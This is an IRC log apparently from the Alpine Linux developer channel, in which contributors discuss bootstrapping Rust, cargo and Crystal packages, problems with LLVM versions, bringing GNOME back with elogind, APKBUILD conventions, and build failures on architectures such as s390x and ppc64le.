2019-04-22 10:22:23 <HRio> yes void seems to bootstrap the cargo build with a binary from the project
2019-04-22 10:23:49 <HRio> debian bootstraps with a prev. build https://salsa.debian.org/rust-team/cargo/blob/debian/sid/debian/control#L12
2019-04-22 10:48:13 <clandmeter> Not for musl it seems
2019-04-22 10:48:48 <clandmeter> That's their own binaries
2019-04-22 10:57:07 <clandmeter> What is the problem with rust on other arches?
2019-04-22 10:57:24 <clandmeter> Maybe i can have a look this week
2019-04-22 10:57:33 <clandmeter> When I'm between meetings
2019-04-22 10:58:33 <clandmeter> mps: ^ ?
2019-04-22 11:00:07 <mps> hope will be online to help you, or you will help me ;)
2019-04-22 11:01:26 <mps> I'm building crystal bootstrap package now, and testing it.
2019-04-22 11:02:01 <clandmeter> What problems are you having with rust on arm?
2019-04-22 11:02:07 <clandmeter> Just bootstrap?
2019-04-22 11:02:24 <mps> I will switch to x86_64 to test these stack and segfault errors
2019-04-22 11:03:34 <mps> yes, make bootstrap apk of the current edge version (0.27.2) and use it to build current upstream released version 0.28.0
2019-04-22 11:04:20 <mps> actually I finished with bootstrap APKBUILD but before sending it to review I will try it on x86_64
2019-04-22 11:06:25 <ncopa> im trying ot upgrade chromium now
2019-04-22 11:27:16 <clandmeter> Good luck
2019-04-22 11:30:29 <ncopa> thanks! I will probably need it :)
2019-04-22 11:30:45 <ncopa> there are a bunch of patches from fedora that seems to help
2019-04-22 11:32:34 <Cogitri> So I'm kind of thinking about switching to Alpine, but I like to use GNOME (which seems to have been removed from Alpine?). Is there interest in getting it back in the repos? I've already maintained GNOME stuff for other distros, so I'd very much like to package it for Alpine (if the core devs feel like accepting it)
2019-04-22 11:33:37 <ncopa> the major reason for removing it from alpine was due to lack of resources to maintain it
2019-04-22 11:34:01 <ncopa> i think it would be great if you can help us with gnome
2019-04-22 11:34:07 <Cogitri> Alright, thought so. Will start my work once I've familiarised myself with apk then :)
2019-04-22 11:34:12 <ncopa> please note that we dont use systemd
2019-04-22 11:34:14 <Cogitri> Thanks for the info :)
2019-04-22 11:34:29 <Cogitri> Yup, I haven't used systemd before either :)
2019-04-22 11:34:51 <ncopa> i think gnome depends on systemd so you may need patch it out
2019-04-22 11:35:25 <Cogitri> No, about all of GNOME works just fine with elogind
2019-04-22 11:36:36 <ncopa> we may also need to upgrade polkit
2019-04-22 11:36:49 <ncopa> which needs updated mozjs
2019-04-22 11:37:25 <Cogitri> Okie, thanks for the info. Did the mozjs60 bumps for Void, so I guess that shouldn't be too much of a problem
2019-04-22 11:37:58 <ncopa> yeah, i dont think it is big problems, it may just require some work
2019-04-22 11:38:31 <Cogitri> Yup, now I only have to get my ZFS setup working with mkinitfs and then I'll be good to go :P
2019-04-22 12:17:17 <Cogitri> Neat, works after setting my root database to legacy mounting
2019-04-22 12:51:36 <maxice8[m]> Is there a reason mpv ships the development files in `mpv` and not `mpv-dev` ?
2019-04-22 13:01:25 <maxice8[m]> re Void Rust: as far as i remember we use upstram binaries when the cpu arch is suitable and cross-compile to others and keep our own binaries when not.
2019-04-22 13:03:21 <Cogitri> Since Alpine only offers musl that means that all bootstrap compilers have to be downstream
2019-04-22 13:03:35 <Cogitri> Maybe Rust upstream will start offering x86_64 musl rustcs soon though
2019-04-22 13:26:05 <mps> Cogitri: we are waiting for it long time :(
2019-04-22 13:26:20 <mps> two years, I think
2019-04-22 13:26:33 <Cogitri> Yup, but I think there has been quite some activity on it recently
2019-04-22 13:26:55 <Cogitri> I'll just hope for the best, I guess :)
2019-04-22 13:27:17 <Cogitri> Being able to use rustup on musl based distros would be very nice
2019-04-22 13:27:55 <mps> yes, few weeks ago I looked there and seems that they have some progress
2019-04-22 15:22:14 <maxice8[m]> meson needs py3-setuptools
2019-04-22 15:24:59 <maxice8[m]> http://ix.io/1GSB
2019-04-22 15:25:10 <_ikke_> Looks like it, yes
2019-04-22 15:25:37 <maxice8[m]> mind taking a look at https://github.com/alpinelinux/aports/pull/7197 ?
2019-04-22 15:26:02 <_ikke_> I will look at it later if someone else hasn't yet
2019-04-22 15:26:13 <maxice8[m]> Alright, thank you
2019-04-22 15:26:35 <_ikke_> Someone else has to apply it anyway
2019-04-22 15:28:20 <maxice8[m]> I think most packages that use setup.py and provide binaries use py3-setuptools
2019-04-22 15:29:04 <tcely> maxice8[m]: lgtm. I hope it gets merged soon
2019-04-22 15:30:27 <tcely> _ikke_: will you push pr7134 please?
2019-04-22 15:31:56 <_ikke_> It looks like a duplicate with knot-resolver?
2019-04-22 15:32:54 <tcely> It's not. v4 changed just about everything about how you build knot-resolver
2019-04-22 15:33:16 <tcely> I want to test things before I update the one in community
2019-04-22 15:34:06 <tcely> FYI https://www.knot-resolver.cz/2019-04-18-knot-resolver-4.0.0.html
2019-04-22 16:38:40 <north1> also packages that use setup.py need py3-setuptools not python3-dev apparently
2019-04-22 16:48:55 <ncopa> i find this very cool. we talked about elogind earlier here and now there is a PR: https://github.com/alpinelinux/aports/pull/7198
2019-04-22 16:48:59 <ncopa> awesome!
2019-04-22 17:12:20 <north1> ncopa: cogitri  wants to package gnome and since Alpine doesn't use systemd it needs elogind
2019-04-22 17:12:36 <ncopa> yes i know
2019-04-22 17:13:26 <ncopa> i find it nice that people contribute with stuff that is (indirectly) asked for
2019-04-22 17:13:50 <mps> need help about building crystal-bootstrap apk. how to set it to conflicts with crystal
2019-04-22 17:14:12 <mps> provide didn't helped
2019-04-22 17:14:12 <Cogitri> Thank you for your help, maxice8 :)
2019-04-22 17:15:06 <mps> anyone have time to review APKBUILD for making bootstrap package
2019-04-22 17:19:32 <ncopa> mps: not now sorry
2019-04-22 17:20:39 <mps> ncopa: np, someone else
2019-04-22 17:26:38 <Cogitri> Could someone delete /etc/xml/catalog and reinstall (del and add) docbook-xml for me? It only creates an empty file in /etx/xml/catalog for me during post-install which causes the other commands it wants to run in post-install to also fail
2019-04-22 18:14:29 <tcely> north1: do  you think python3-dev should just depend on py3-setuptools ?
2019-04-22 18:14:45 <north1> tcely: it apparently does indirectly
2019-04-22 18:14:57 <tcely> what is the chain?
2019-04-22 18:15:06 <north1> that is the question i can't answer
2019-04-22 18:15:38 <tcely> ok. how about we add it explicitly then?
2019-04-22 18:17:25 <north1> can be but i don't think that is optimal
2019-04-22 18:17:34 <tcely> why not?
2019-04-22 18:18:36 <north1> There is no reason to bring the heavier python3-dev package in when one can just makedepend on the lighter and noarch py3-setuptools package
2019-04-22 18:20:32 <tcely> Sure, but if the problem we have is that people don't realize py3-setuptools is needed for python3-dev we should just add py3-setup tools to depends_dev in python3
2019-04-22 18:23:31 <north1> py3-setuptools isn't needed for python3-dev, py3-setuptools is needed for any package that processes a setup.py file, python3-dev is required in the minor chance that that package compiles native C extensions for python (like lxml).
2019-04-22 18:24:48 <tcely> Is there a way to compile native C extensions without using py3-setuptools ?
2019-04-22 18:26:22 <north1> tcely: i don't know about whether it is possible or not, sorry.
2019-04-22 18:27:04 <tcely> ok. have you ever seen a package that compiles C sources not use setup.py ?
2019-04-22 18:27:31 <tcely> s/package/python package/
2019-04-22 18:27:31 <alpine-meetbot> tcely meant to say: ok. have you ever seen a python package that compiles C sources not use setup.py ?
2019-04-22 18:28:30 <north1> nope, very rarely packages install py files without using setup.py directly, i can think of some nautilus extensions.
2019-04-22 18:28:47 <Cogitri> Yup, I think nautilus-python does it via autotools
2019-04-22 18:29:12 <tcely> I am proposing this change then: https://github.com/alpinelinux/aports/commit/8e674c8183006f67ec3445587faf8afc7fc4acb2
2019-04-22 18:42:16 <tcely> clandmeter: do you have any hints on why TravisCI is failing for FTP ?
2019-04-22 18:45:01 <north1> tcely: Travis-ci fails constantly with ftp://
2019-04-22 18:45:02 <Cogitri> FWIW, that didn't work for Void either
2019-04-22 18:45:05 <north1> https://blog.travis-ci.com/2018-07-23-the-tale-of-ftp-at-travis-ci
2019-04-22 18:45:19 <north1> Void just switches to http:// https:// whenver possible
2019-04-22 18:45:33 <tcely> north1: thanks for that link
2019-04-22 18:45:44 <north1> tcely: welcome
2019-04-22 18:50:52 <tcely> _ikke_: please mark pr7201 as ci-malfunction
2019-04-22 19:19:54 <tcely> This rust thing is ugly.
2019-04-22 19:20:14 <tcely> Did anyone have ideas on how to fix the libgit2 problem?
2019-04-22 19:21:57 <Cogitri> Rebuild against new libgit2 I suppose
2019-04-22 19:22:11 <_ikke_> tcely: do you know what the malfunction is?
2019-04-22 19:22:44 <Cogitri> That it links against old libgit2
2019-04-22 19:22:55 <_ikke_> for 7201
2019-04-22 19:23:13 <tcely> https://cloud.drone.io/alpinelinux/aports/1771/2/1
2019-04-22 19:23:24 <tcely> The problem is that rust/cargo is self hosting.
2019-04-22 19:23:48 <_ikke_> Yes, I know the rus situation
2019-04-22 19:23:53 <tcely> To install cargo-bootstrap you need so:libgit2.so.27
2019-04-22 19:23:54 <north1> tcely: You can temporarily have a libgit2-0.27 package that holds so:libgit2.so.0.27
2019-04-22 19:24:29 <_ikke_> I'm asking about the python3 pr that tcely asked me to mark as ci failure
2019-04-22 19:24:37 <tcely> _ikke_: oh, you mean the ci-malfunction? That was a ftp test failure. Caused by https://blog.travis-ci.com/2018-07-23-the-tale-of-ftp-at-travis-ci
2019-04-22 19:26:35 <tcely> north1: Are you suggesting cargo-bootstrap-old (or better name) holding the lib file and providing so:libgit2.so.0.27 ?
2019-04-22 19:27:11 <_ikke_> tcely: ah, so the test suite tries to contact an FTP server?
2019-04-22 19:27:15 <Cogitri> FWIW, you could grab cargo from Void Linux as distfile to rebuild it
2019-04-22 19:27:16 <mps> I see some packages in aports have conflicts field set. does this option really works
2019-04-22 19:27:31 <_ikke_> no
2019-04-22 19:27:31 <tcely> _ikke_: yes
2019-04-22 19:27:32 <Cogitri> They also provide musl distfiles and statically build cargo to avoid this situation
2019-04-22 19:27:35 <_ikke_> tcely: alright
2019-04-22 19:28:39 <_ikke_> done
2019-04-22 19:28:52 <mps> I looked at void linux cargo and rust about week ago, looks like it could be of the help
2019-04-22 19:29:06 <tcely> thanks
2019-04-22 19:29:38 <Cogitri> I can do the Rust thingie in a few minutes
2019-04-22 19:29:39 <_ikke_> mps: abuild.in has no reference to conflicts at all
2019-04-22 19:29:54 <_ikke_> (as a field)
2019-04-22 19:30:24 <tcely> mps: a conflict is done like this in my experience: depends="!pkgname"
2019-04-22 19:30:29 <mps> _ikke_: I thought so, but anyway asked because I see some packages have it
2019-04-22 19:31:38 <mps> tcely: that sound fine to try, why I forgot it and used that option once or two times for local packages :-|
2019-04-22 19:59:27 <_ikke_> tcely: still here?
2019-04-22 19:59:33 <tcely> yep
2019-04-22 20:02:03 <_ikke_> regarding 7134, I can apply it now, but there some minor issues that need to be resolved
2019-04-22 20:03:55 <tcely> such as?
2019-04-22 20:03:59 <_ikke_> mostly regarding non-standard global vars
2019-04-22 20:04:39 <tcely> I only see depends_* that might qualify
2019-04-22 20:05:01 <_ikke_> https://wiki.alpinelinux.org/wiki/APKBUILD_Reference#Variables
2019-04-22 20:05:07 <_ikke_> yes
2019-04-22 20:06:00 <tcely> I can prefix those if you insist, but that seems very silly to me
2019-04-22 20:06:46 <_ikke_> tcely: It's better to just follow the defined rules
2019-04-22 20:07:10 <tcely> btw, that link is out of date
2019-04-22 20:07:17 <_ikke_> individual aports are not the place to contest them
2019-04-22 20:10:11 <_ikke_> Nice, ranger is apparently working now on Alpine
2019-04-22 20:14:56 <tcely> what's the best feature for ranger?
2019-04-22 20:15:50 <_ikke_> vim keybindings and file preview I guess
2019-04-22 20:16:05 <_ikke_> and mark + delete files
2019-04-22 20:16:09 <_ikke_> that's what I used it mostly fore
2019-04-22 20:16:43 <north1> I just like the image preview with w3m
2019-04-22 20:17:18 <_ikke_> I tried to package ranger earlier, but it would segfault somehow
2019-04-22 20:17:45 <north1> _ikke_: i have vague memories of ranger segfaults when i packaged it in Exherbo long ago
2019-04-22 20:17:55 <north1> it also doesn't like to start if you point it to a file :D
2019-04-22 20:18:34 <_ikke_> I quickly tested it just now, and it seems to work
2019-04-22 20:22:07 <_ikke_> tcely: https://build.alpinelinux.org/buildlogs/build-edge-ppc64le/testing/knot-resolver4/knot-resolver4-4.0.0-r0.log
2019-04-22 20:22:26 <tcely> hmm. New build system exposed a problem. Who would have guessed? ;-)
2019-04-22 20:22:33 <_ikke_> ../modules/dnstap/dnstap.c:23:10: fatal error: modules/dnstap/dnstap.pb-c.h: No such file or directory
2019-04-22 20:22:40 <_ikke_> Only on that arch though
2019-04-22 20:23:07 <_ikke_> (and perhaps s390x, which is currently blocked)
2019-04-22 20:23:42 <tcely> It's likely just a patch to remove the partial path from that include
2019-04-22 20:29:28 <_ikke_> tcely: One advise: If you want to get packages in quickly, it's best to make the life of the reviewers as easy as possible. I'm not pendantic just to be pendantic, there are just some rules we all are expected to follow. Trying to argue about it is kind of useless
2019-04-22 20:51:18 <_ikke_> kunkku: lol, alpine on alpine :D
2019-04-22 21:07:53 <kunkku> _ikke_: :)
2019-04-22 21:10:53 <mps> tcely: depends="!pkgname" works
2019-04-22 21:52:53 <mps> hmm, looks like makedepends of package can't depend on it's own subpackage
2019-04-22 21:53:17 <Cogitri> Yup, abuild automagically strips that
2019-04-22 21:53:24 <Cogitri> Rust hacks around it with provides
2019-04-22 21:53:47 <mps> i.e. can't have package-bootstrap in makedepends
2019-04-22 21:55:23 <mps> Cogitri: yes, know for rust but never tried to hack these options, I'm wrestling with rust on armv7 and aarch64 about three or four months
2019-04-22 21:55:42 <Cogitri> Oh, alrighty
2019-04-22 21:56:02 <north1> cmake has `make test` but newapkbuild uses make check
2019-04-22 21:56:40 <mps> but now wrestling with crystal, i.e. trying to build static version to use it for bootstraping next version of it
2019-04-22 21:57:44 <mps> north1: you can change it in 'check()' function
2019-04-22 21:58:05 <north1> mps: i did
2019-04-22 21:58:47 <mps> for example crystal have 'make spec'
2019-04-22 22:02:39 <tcely> _ikke_: pr7208 should fix the build ordering
2019-04-23 04:42:35 <_ikke_> tcely: pushed, and the build passes now
2019-04-23 04:42:45 <tcely> good
2019-04-23 04:54:33 <tcely> how long does pkgs.a.o take to update usually?
2019-04-23 04:58:59 <_ikke_> 15 minutes or so? Not sure
2019-04-23 04:59:28 <_ikke_> It depends on a specific mirror updating from master
2019-04-23 05:00:00 <_ikke_> http://master.alpinelinux.org/alpine/edge/testing/ppc64le/
2019-04-23 05:00:24 <tcely> hmm closer to 30 minutes now
2019-04-23 05:01:03 <_ikke_> Maybe it synchronizes once every hour
2019-04-23 05:02:14 <clandmeter> it runs every 15 min
2019-04-23 05:02:21 <clandmeter> but the mirror it reads from also
2019-04-23 05:02:30 <clandmeter> so thats can go up to max 30min
2019-04-23 05:02:54 <tcely> so 15 for mirror + 15 for pkgs ingestion?
2019-04-23 05:10:42 <_ikke_> tcely: https://pkgs.alpinelinux.org/package/edge/testing/aarch64/knot-resolver4
2019-04-23 05:13:43 <tcely> Now only s390x is missing.
2019-04-23 05:14:05 <tcely> Hmm. A build log is missing too. https://build.alpinelinux.org/buildlogs/build-edge-armv7/testing/knot-resolver4/knot-resolver4-4.0.0-r0.log
2019-04-23 05:20:16 <_ikke_> yes, s390x builder is stuck at py-pillow atm
2019-04-23 05:28:47 <tcely> clandmeter: for the rust rebuild python3 and llvm7 updates might be useful too. https://github.com/alpinelinux/aports/pull/7202/commits
2019-04-23 05:30:44 <clandmeter> tcely: ok we can do that later. this is just to fix aports due to libgit
2019-04-23 06:32:50 <Cogitri> tcely: Please don't rebuild Rust against LLVM7
2019-04-23 06:33:34 <Cogitri> LLVM7 has lots of problems with Rust on musl (namely random segfaults). Please wait for LLVM8
2019-04-23 06:48:49 <Cogitri> Not 100% positive what's the deeper cause of that, but both Void and Flathub were hit by that :/
2019-04-23 06:55:41 <tcely> Cogitri: from what I understand llvm7 was patched
2019-04-23 07:00:36 <Cogitri> llvm7 has patched == Rust has a patch for it?
2019-04-23 07:00:58 <Cogitri> If so, I'm pretty sure that we applied that one on Void too and at least LTO'ed stuff still liked to segfault
2019-04-23 07:04:27 <Cogitri> In Void we just let the build with LLVM7 run a few times until it passed, runtime is just fine. We upgraded to LLVM8 with Rust 1.34 and the problems disappeared
2019-04-23 07:05:22 <tcely> https://git.alpinelinux.org/aports/commit/main/llvm7?id=ce96afd6ee1beaa81bff955b8475a5c1b5e548a9
2019-04-23 07:08:02 <jnt> what exactly are the criteria for a package to leave the testing repository?
2019-04-23 07:13:20 <rnalrd> jnt, should have a maintainer, should have a default sane and working configuration and should be stable (not be prone to segfaults)
2019-04-23 07:13:56 <Cogitri> tcely: Alright, that might work. For testing, you could try building fractal or gxi (or anything that uses gtk-rs really), that consistently triggered the bug
2019-04-23 07:14:18 <rnalrd> not meant to be an exhaustive list but it's a start
2019-04-23 07:24:21 <jnt> rnalrd: okay, so do you just create a pull request to move it to community and wait for feedback or how does it work?
2019-04-23 07:46:52 <rnalrd> jnt if it looks good for you, just submit the PR that moves it adding that comment that you're using it with satisfaction or something along that concept
2019-04-23 07:50:43 <mps> rnalrd: when you are talking about satisfaction, could you look at gnuchess and xboard new aports on patchwork.a.o :)
2019-04-23 07:51:06 <jnt> rnalrd: thanks, that's all I needed to know.
2019-04-23 07:53:12 <mps> Cogitri: yes, ime llvm7 is problematic and not only for rust
2019-04-23 07:53:42 <Cogitri> Oh :c
2019-04-23 07:54:32 <mps> I tried to build crystal but didn't have any success
2019-04-23 07:54:53 <Cogitri> I think crystal still needs llvm6
2019-04-23 07:55:20 <Cogitri> They didn't adapt to the API changes of LLVM >6
2019-04-23 07:56:01 <mps> no, on Alpine it doesn't build even with llvm6, only llvm5
2019-04-23 07:56:30 <mps> I mean, current llvm6 in alpine
2019-04-23 07:57:08 <Cogitri> Oh
2019-04-23 07:57:33 <mps> I had different 'version' of llvm6 with which I've built crystal but it is not in alpine
2019-04-23 07:57:59 <Cogitri> Builds on Void with LLVM6, hm
2019-04-23 07:58:52 <mps> then we should look at void llvm6 and fix current llvm6 in alpine
2019-04-23 07:59:54 <Cogitri> https://github.com/void-linux/void-packages/tree/master/srcpkgs/llvm6.0
2019-04-23 08:00:19 <mps> I have void git repo on my local disk ;)
2019-04-23 08:01:09 <mps> it is great help for my works with alpine
2019-04-23 08:04:14 <Cogitri> Oh hehe
2019-04-23 08:07:55 <mps> btw, are you interested in making rust working in alpine for armv7 and aarch64? I have apk's but they are not canonical apk
2019-04-23 08:08:14 <Cogitri> canonical apk?
2019-04-23 08:08:31 <Cogitri> Also, sure, I can look into Rust, I did Rust cross for Void
2019-04-23 08:09:09 <mps> well, not canonical build but with some crude  hacks
2019-04-23 08:11:08 <mps> I can share my works on it with you (or anyone else, ofc) if you have time and willing to look at it
2019-04-23 08:14:48 <Cogitri> Ah, sure
2019-04-23 08:14:51 <Cogitri> Thank you :)
2019-04-23 08:16:06 <mps> nice, will contact you later when I finish with crystal dependency/conflict issues
2019-04-23 08:16:31 <mps> and thank you for good will :)
2019-04-23 08:39:58 <clandmeter> mps: did you make progress with rust on aarch64?
2019-04-23 08:40:30 <mps> not much :(
2019-04-23 08:40:43 <clandmeter> i thought you had it build ones?
2019-04-23 08:41:15 <mps> I wait for llvm8 to try with because with llvm7 there are no chances, imo
2019-04-23 08:41:48 <mps> I have it, I have apk's but two months old
2019-04-23 08:43:51 <mps> thought to put it somewhere on net if someone want to help me or adopt it
2019-04-23 08:44:19 <mps> now that the Cogitri here I have a big hope in his help :)
2019-04-23 08:44:48 <Cogitri> Hehe, I'll try my best :)
2019-04-23 08:44:53 <clandmeter> mps: llvm5 gives issues?
2019-04-23 08:45:20 <clandmeter> we are currently on llvm5 for rust right?
2019-04-23 08:46:04 <Cogitri> Yup
2019-04-23 08:46:12 <clandmeter> Cogitri: you have rust for arm on musl?
2019-04-23 08:46:44 <mps> clandmeter: no, llvm5 is ok
2019-04-23 08:47:44 <mps> llvm6 have some issues and llvm7 is 'useless'
2019-04-23 08:49:29 <clandmeter> im not focusing on llvm
2019-04-23 08:50:08 <Cogitri> clandmeter: I have it on aarch64-musl on Void
2019-04-23 08:54:28 <Cogitri> But IMO waiting for LLVM8 is a good idea
2019-04-23 08:56:40 <clandmeter> Cogitri: why?
2019-04-23 08:58:24 <Cogitri> LLVM6+Rust doesn't build on some arches, LLVM7+Rust segfaults randomly on some arches and segfaults instantly on aarch64
2019-04-23 09:01:07 <clandmeter> im talking about llvm5 here
2019-04-23 09:01:51 <mps> clandmeter:  I think newest version of rust can't be built with llvm5
2019-04-23 09:02:12 <clandmeter> we are not using newest right?
2019-04-23 09:03:21 <mps> right, will look later status, now I'm occupied with something unrelated
2019-04-23 09:03:30 <Cogitri> Ah, alrighty
2019-04-23 09:05:00 <Cogitri> mps: Yup, Rust 1.32 or 33 needs LLVM>=6
2019-04-23 09:06:26 <clandmeter> we have .31 just for that erason i gues
2019-04-23 09:07:27 <mps> yes
2019-04-23 09:09:09 <mps> from memory, I built rust 1.30 with llvm6 on aarch64 and armv7
2019-04-23 09:10:42 <mps> I think I posted mail with status of this about month ago to alpine- ML
2019-04-23 09:11:17 <Cogitri> I suppose so, yes
2019-04-23 09:11:54 <Cogitri> But that already supports Rust 2018 at least, so that's not _that_ much of a problem
2019-04-23 09:14:27 <mps> clandmeter: btw, any news about segfaults and stack problem on usa4.a.o
2019-04-23 09:54:18 <clandmeter> mps, if its stack size issue, it has nothing to do with the system.
2019-04-23 10:05:10 <mps> huh, invalid memory access: http://tpaste.us/RgXW
2019-04-23 10:06:02 <mps> with the same build on x86_64 it works without any problem
2019-04-23 10:06:43 <mps> both lxc's are edge with updated packges to latest versions
2019-04-23 10:08:08 <clandmeter> there is nothing in dmesg
2019-04-23 10:08:14 <clandmeter> i dont think its a system issue
2019-04-23 10:08:18 <clandmeter> not sure though
2019-04-23 10:08:27 <clandmeter> sounds like a crystal issue.
2019-04-23 10:08:59 <clandmeter> maybe ask in crytal channel if they have one
2019-04-23 10:21:20 <mps> ok, will test other build to try to find if it is crystal related
2019-04-23 10:22:24 <mps> strange thing is this issue isn't reproducible, or I don't know how to reproduce it in controlled way
2019-04-23 10:27:04 <_ikke_> tmhoang: Do you have any idea why py-pillow is failing on s390x? https://build.alpinelinux.org/buildlogs/build-edge-s390x/main/py-pillow/py-pillow-6.0.0-r0.log
2019-04-23 11:07:04 <tmhoang> _ikke_ : im looking. thanks for spotting
2019-04-23 11:11:58 <tmhoang> dummy question : what do the virt release images differentiate from standard image ? 'virt' feature including virtio-* ?
2019-04-23 11:24:21 <mps> tmhoang: less modules for real hardware and most for VM guests
2019-04-23 11:26:38 <mps> i.e. on vanilla 'find /lib/modules/4.19.34-0-vanilla/kernel/ | wc -l' => 4044
2019-04-23 11:27:02 <mps> on virt => 1120
2019-04-23 11:27:13 <tmhoang> good point. thanks
2019-04-23 11:27:55 <mps> maybe there are some other tweaks but I never dived to it
2019-04-23 11:47:08 <tmhoang> _ikke_, ncopa: it seems the pillow 6.0.0 tests fail in general on s390x, not just Alpine.
2019-04-23 11:47:29 <tmhoang> I see upstream report
2019-04-23 11:52:05 <ncopa> ok
2019-04-23 11:52:32 <ncopa> tmhoang: can you investigate if it is worth fixing or should we just disable the tests on s390x
2019-04-23 11:52:41 <tmhoang> ncopa: yes I'm checking
2019-04-23 12:15:10 <ncopa> Gottox: was it you that had a nice trick how to run strace in chromium sandbox?
2019-04-23 12:15:32 <Gottox> no, maybe duncaen?
2019-04-23 12:17:14 <duncaen> chromium --allow-sandbox-debugging --renderer-cmd-prefix='strace -o strace -ff'
2019-04-23 12:18:07 <duncaen> ncopa: are you looking at the chromium + musl 1.1.22 segfaults?
2019-04-23 12:19:07 <ncopa> yes
2019-04-23 12:19:18 <duncaen> SYS_membarrier
2019-04-23 12:19:25 <ncopa> i think we need to whitelist membarrier
2019-04-23 12:19:28 <ncopa> exactly
2019-04-23 12:19:30 <duncaen> yep
2019-04-23 12:19:46 <ncopa> im trying to figure out how to do that properly
2019-04-23 12:20:24 <duncaen> I think we have someone working on that, so far there is only the firefox patch https://github.com/void-linux/void-packages/pull/11270
2019-04-23 12:35:03 <ncopa> duncaen: do you know who is working on it?
2019-04-23 12:35:15 <Gottox> jnbr
2019-04-23 12:35:16 <ncopa> i think i may have the chromium patch updated soonish
2019-04-23 12:35:33 <ncopa> in #xbps channel?
2019-04-23 12:35:59 <Gottox> yea, at least he said so in the linked ticket.
2019-04-23 12:44:43 <tmhoang> _ikke_ : re pillow s390x : https://github.com/alpinelinux/aports/pull/7217
2019-04-23 12:46:10 <_ikke_> tmhoang: Thanks, but I cannot merge it myself
2019-04-23 12:46:34 <tmhoang> oh right, I forgot it.
2019-04-23 12:46:42 <tmhoang> not urgent though
2019-04-23 12:48:27 <_ikke_> I requested a review from ncopa :-)
2019-04-23 12:50:16 <tmhoang> it's kind of interesting that people can run ppc in either le or be mode. It's the choice of the OS layer, and the hardware can support both.
2019-04-23 13:01:39 <artok> isn't arm like that also?
2019-04-23 13:24:55 <otlabs> hi ppl
2019-04-23 13:25:58 <mps> otlabs: \o
2019-04-23 13:26:11 <otlabs> mps: greetings!
2019-04-23 13:30:31 <otlabs> i am compiling u-boot for samsung nexell s5p6818 as i want to have alpine linux running on nanopi fire3 board
2019-04-23 13:30:55 <otlabs> i need to #include <sys/cdefs.h>
2019-04-23 13:31:11 <otlabs> so far i found at leas 2 packages which provide this header
2019-04-23 13:31:38 <otlabs> both of them generate following error during compilation
2019-04-23 13:32:00 <otlabs>  /usr/include/sys/cdefs.h:1:2: error: #warning usage of non-standard #include <sys/cdefs.h> is deprecated [-Werror=cpp] #warning usage of non-standard #include <sys/cdefs.h> is deprecated
2019-04-23 13:32:33 <otlabs> should i search for another package which provides sys/cdefs.h?
2019-04-23 13:32:37 <mps> otlabs: is this from Alpine u-boot or upstream
2019-04-23 13:32:57 <otlabs> should i alter compilation flags to bypass this warning?
2019-04-23 13:33:23 <otlabs> mps: it's partially from armbian
2019-04-23 13:33:54 <otlabs> as i understand there is no support in mainstream u-boot for s5p6818
2019-04-23 13:34:13 <mps> let me see
2019-04-23 13:34:21 <otlabs> thank you
2019-04-23 13:35:32 <mps> right, nothing about it in upstream
2019-04-23 13:38:32 <mps> I think you can ignore this warning, of course if it boots
2019-04-23 13:40:08 <otlabs> ok, will try to disable it and compile
2019-04-23 13:41:29 <mps> I'm cross build u-boot on Debian and there is no such warning because there is no usr/include/sys/cdefs.h file
2019-04-23 13:42:19 <otlabs> this build process is also based on Debian
2019-04-23 13:42:47 <otlabs> i think sys/cdefs.h is a part of libc6
2019-04-23 13:44:16 <mps> I don't see it on Debian where I build u-boot
2019-04-23 13:44:55 <otlabs> oh
2019-04-23 13:46:19 <mps> on Alpine it is from bsd-compat-headers
2019-04-23 13:48:36 <mps> on debian it is in /usr/include/x86_64-linux-gnu/sys/cdefs.h
2019-04-23 13:49:39 <mps> so, not straight under /usr/include
2019-04-23 13:52:18 <otlabs> oh, i see, thank you
2019-04-23 14:09:46 <otlabs> ok, passed tfirst error stage, the code now compiles, but do not link due to undefined reference to `image_get_sig_algo'. will investigate.
2019-04-23 14:11:29 <mps> do you have all needed libs
2019-04-23 14:36:54 <otlabs> that function comes from u-boot sources, need to check why it do not link properly. or the error message is different and i have not understand it.
2019-04-23 14:47:45 <clandmeter> in general it means you need to pass the correct linker flag
2019-04-23 14:51:19 <north1> Is there a comprehensive list of variables that affect apkbuild behaviour (like pkgname source , etc) ? i went over https://wiki.alpinelinux.org/wiki/APKBUILD_Reference but i'm unsure if there aren't more.
2019-04-23 14:54:02 <clandmeter> rtfs
2019-04-23 14:55:03 <clandmeter> i dont think we have any official doc.
2019-04-23 15:01:09 <north1> good enough
2019-04-23 15:01:37 <otlabs> clandmeter: thank you, i will check
2019-04-23 15:02:23 <clandmeter> we are working on dev docs, i guess they should be included.
2019-04-23 15:14:12 <clandmeter> _ikke_: thanks for tagging main :)
2019-04-23 15:19:15 <_ikke_> clandmeter: yw :)
2019-04-23 15:27:43 <tcely> What exactly prevents s390x from having luajit?
2019-04-23 15:29:20 <clandmeter> does upstream support it?
2019-04-23 15:36:08 <ncopa> no support from upstream
2019-04-23 15:37:44 <ncopa> looks like there are some work going on there: https://github.com/LuaJIT/LuaJIT/pull/395
2019-04-23 15:39:51 <tmhoang> yes, no support from upstream
2019-04-23 15:40:21 <clandmeter> did fedora remove its cgit interface?
2019-04-23 15:42:29 <ncopa> apparently they did
2019-04-23 15:42:40 <ncopa> i miss it too
2019-04-23 15:48:43 <ncopa> tmhoang: re pr7220, what is the /bin/echo about?
2019-04-23 15:49:50 <tmhoang> ncopa: it has something to do with bash I guess. segfault. I have not investigated thoroughly
2019-04-23 15:49:55 <tmhoang> let's say it's wip
2019-04-23 15:50:38 <ncopa> it looks weird
2019-04-23 15:52:04 <Cogitri> Um, what's the policy on PRs? Can I make one PR which includes a package + one dep, or should I make separate PRs?
2019-04-23 15:52:46 <_ikke_> Cogitri: No, one PR is fine
2019-04-23 15:52:51 <_ikke_> just make sure they're separate commits
2019-04-23 15:54:48 <Cogitri> Alright, thanks
2019-04-23 15:58:16 <clandmeter> Cogitri: it could even be mandatory
2019-04-23 15:58:31 <clandmeter> for packages that depend on each other
2019-04-23 16:05:49 <north1> ncopa: can't even test vidcutter to see if it needs mpv-dev
2019-04-23 16:11:46 <sh4rm4^bnc> how do i debug a SIGKILL from grsec ? there's nothing in dmesg
2019-04-23 16:33:44 <ncopa> how do you know if its grsec if there is nothing in dmesg?
2019-04-23 16:45:27 <tmhoang> ncopa: quick fix for s390x https://github.com/alpinelinux/aports/pull/7229
2019-04-23 16:58:11 <tmhoang> did I just break elogind ? But it seems it's another error.
2019-04-23 16:58:21 <tmhoang> which I did not have on my s390x test machine
2019-04-23 16:58:42 <tmhoang> oh it's clang6
